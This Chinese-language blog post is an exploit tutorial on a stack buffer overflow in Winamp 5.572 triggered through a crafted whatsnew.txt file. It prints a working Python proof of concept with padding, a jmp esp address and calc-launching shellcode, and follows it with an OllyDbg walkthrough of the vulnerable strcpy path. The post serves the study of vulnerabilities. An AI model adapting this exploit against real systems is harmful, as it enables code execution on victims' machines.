光说不练假把式,从现在开始会写一些漏洞的利用

第一篇文章会从POC的角度分析漏洞并利用。

Target:Winamp

Version:5.572

Detail: Stack overflow

Target

Winamp是一款音乐播放软件,在他的5.572版本中存在一个栈溢出。

它的表现形式是:

Version History

当用户点击Help->Abount winamp->Version History时会读取whatsnew.txt文件,并将读取到的数据放置到本地的一个数组中,只是这个过程使用了strcpy函数,从而造成缓冲区溢出。

从网络上得到如下的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 这里的Shellcode和下方的jmp esp我已修改。calc.exe
sc = ("\x83\xEC\x50\x33\xDB\x53\x68\x6C\x6C\x20\x20\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x8B\xDC\x53\xB8\x77\x1D\x80\x7C\x8B\xC0\xFF\xD0\x33"
"\xDB\x53"
"\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63"
"\x8B\xC4\x53\x50\xB9"
"\x4D\x11\x86\x7C\xFF\xD1\x33\xDB\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0");



version = "Winamp 5.572"

rop = "\x41" * 540 # Crash
rop += "\xed\x1e\x96\x7c" # jmp esp
#junk = "\x43" * 800
junk = ""

tecfile = open('whatsnew.txt','w')
tecfile.write(version + rop + sc + junk)
tecfile.close()

POC也就是whatsnew.txt,由4部分构成,第一部分是Version,这个在之后会讲到。第二部分时填充缓冲区的A字符,第三部分是jmp esp,第四部分是弹出计算器的Shellcode。

Attacking

使用恶意构造的whatsnew.txt替换程序原始的txt文件,重新运行程序,点击Version History,成功溢出。结果如下:

hacked

Analysis

使用OllyDbg打开winamp.exe,并运行。

既然程序会读取whatsnew.txt,那么我们就全局搜索这个关键字,看在哪里调用了它。

search all

上滑到text列表的顶部,右键,选择search text,输入whatsnew.txt

search text1

能得到如下的两个结果,双击跟进并给他们下断点。

search text2

这时候我们点击程序的Version History,发现程序段在了004015B2这个位置,顺着代码继续静态分析。我们能看到程序使用malloc在堆中创建了20000DWROD的空间。

malloc

并使用strncmp比较txt文件中的前9个字节,判断是否是Winamp 5.开头,这也是为什么POC中会存在版本号的原因。

strncmp

最后一步就是执行strcpy,这里就不用再介绍啦。

strcpy